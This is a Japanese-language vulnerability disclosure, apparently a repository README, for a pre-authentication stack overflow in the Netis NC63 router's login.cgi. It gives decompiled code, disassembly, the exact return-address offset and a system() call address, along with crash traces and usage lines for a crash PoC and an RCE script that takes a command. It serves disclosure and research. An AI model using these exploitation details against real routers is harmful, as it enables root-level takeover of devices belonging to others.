
Netis NC63 の login.cgi における、認証前の Base64 デコードされたパスワードによるスタックバッファオーバーフローに関する独自の調査と PoC
login.cgi における Base64 デコードされたパスワードを介した認証前スタックバッファオーバーフローによる RCE研究者: Özcan Ersan (@ozcanpng)
CVE-2026-76070NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/login.cgipasswordNetis NC63 ファームウェア V3.0.0.3327 の公開ログインハンドラは、
攻撃者が制御する password パラメータを取得し、独自の Base64 ルーチン
FUN_00402bd4 でデコードする。呼び出し元は 64 バイトのローカルスタック
バッファを用意するが、その容量をデコーダに渡さない。デコーダはエンコード
された入力から処理量を導出し、デコード先の終端を確認せずにデコード済み
バイトを書き込む。
保存された MIPS リターンアドレスは、デコード済みバッファの先頭から 136 バイトの位置にある。オリジナルハッシュの本番 CGI に対する動的テストで 以下を確認した:
B パターンにより 0x42424242 でフォールトが発生する;ra を 0x0041a2e0 に置き換えると、ログインハンドラへの
2 回目の進入が観測され、プログラムカウンタの制御が証明される; そしてa0 値を
伴ってオリジナルバイナリの直接 system() 呼び出しに到達する。置き換えた
/bin/sh は /bin/sh -c NC63_RCE_PROOF をログに記録し、コマンドは
実行しなかった。このリポジトリの公開 PoC は意図的にクラッシュパターンで停止する。リターン
チェーン、シェルコード、コマンド、リバースシェル、永続化は含まない。
別途管理されている poc/exploit-db/ 内の RCE スクリプトは Exploit-DB
への投稿用に準備されたものであり、影響を受けるシステムの許可された
テストのみを目的としている。
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
動的にテストされた /bin/netis.cgi のコピーは、ベンダーから抽出された実行ファイルと同じ SHA-256 を持っています。

ベンダーのフロントエンドは、パスワードを Base64 として公開エンドポイントに送信します:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
HTMLフィールドはmaxlength="63"を使用していますが、これはブラウザ側の制限にすぎません。直接HTTPクライアントを使えば、より大きなエンコード値が送信できます。

login.cgiは認証前に必ず到達可能です。安全でないデコードは、デコードされたパスワードが設定済みの管理者パスワードと比較される前に発生します。有効なセッション、Cookieヘッダー、Authorizationヘッダー、正しいパスワードはいずれも不要です。
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| no destination-capacity argument
| decoded output exceeds 64 bytes
v
saved s8 at decoded offset 132
saved ra at decoded offset 136
|
v
attacker-selected MIPS PC
可読性のために名前を正規化した、Ghidra 由来の擬似コード:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

FUN_00402bd4 のデコーダは、宛先ポインタとソースポインタのみを受け取ります。
そのループは宛先ポインタを進め、Base64 の 4 記号ごとに最大 3 バイトのデコード済みデータを格納します。宛先を decoded + 64 と比較するチェックは存在しません。

Base64 は入力変換であり、根本的な欠陥ではありません。根本原因は、攻撃者が制御するデコード後の長さと、容量が決して強制されない固定サイズの宛先との間の不一致です。通常のパディングされた入力では、4 つのエンコード済み文字が最大 3 バイトのデコード済みデータを表すため、サーバー側のチェックでは書き込み前にデコード後のサイズを計算して検証する必要があります。
FUN_0041a2e0 は 0x0041a2e0 から始まり、0xa8 バイトのフレームを作成します:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
デコードされたデスティネーションは s8+0x1c から始まり、保存された s8 と保存された ra はそれぞれ
s8+0xa0 と s8+0xa4 にあります:
decoded[64] s8+0x1c decoded offset 0
saved s8 s8+0xa0 decoded offset 132
saved ra s8+0xa4 decoded offset 136
正確なリターンアドレスまでの距離は 0xa4 - 0x1c = 0x88、つまり 136 バイトです。

140 バイトのデコードされた B パターンが、4 バイトの保存されたリターンアドレスを置き換えました:
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

別の140バイトの入力セットにより、ra が 0x0041a2e0 に保存されました。QEMUのCPUトレースでは、通常の最初のハンドラエントリに続いて、s8=0x41414141 および ra=0x0041a2e0 を持つ2回目のエントリが記録されました。

元のバイナリには 0x0041a3cc に直接的な jal system が含まれています。非公開の分離検証では、既存の固定ベース命令がマーカーを a0 にロードし、その呼び出しに到達しました。静的観測プログラムが /bin/sh 上にマウントされ、コマンドインタプリタの引数をログに記録し、何も実行しませんでした:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
これは、分離された本番コードパスにおけるRCEプリミティブを示すものである。これは、実際に配備されたカーネルとスタックランダム化設定の下で物理ルーター上において同一のエクスプロイト信頼性を確立するものではない。
元のBoa設定では、User root、Group root、および/binと/web/cgi-binを含むCGIパスが指定されている。本番実行ファイルは固定ベース(0x00400000)であり、スタックカナリアもRELROも持たず、RWXセグメントを持つ実行可能なGNUスタックを宣言している。


含まれるスクリプトはデフォルトでドライランモードとなり、デコード後に140個のBバイトを含むBase64フォームボディのみを生成する:
python3 poc/poc.py
送信には明示的な承認済みターゲットと --send が必要です:
python3 poc/poc.py --target http://192.168.1.1 --send
poc/exploit-db/CVE-2026-76070.py は Exploit-DB 向けに用意された RCE スクリプトです。
これは文書化された未認証の login.cgi 脆弱性を対象としており、認可された影響を受けるテストターゲットに対して使用するためのコマンド引数を受け付けます:
python3 poc/exploit-db/CVE-2026-76070.py <target> "id"
このパターンを送信すると、CGIプロセスがクラッシュする可能性があります。認可された使い捨ての環境でのみ使用してください。このPoCは、非公開のRCE検証チェーンを実装していません。
悪用に成功すると、攻撃者が選択したコードやコマンドがルータ管理コンテキストで実行される可能性があります。元のBoa設定では、このコンテキストはrootとして実行されます。想定される影響には、設定や機密情報の漏洩、DNS/ファイアウォール/ルーティングの改ざん、トラフィックのリダイレクト、サービスの中断、デバイス全体の侵害などが含まれます。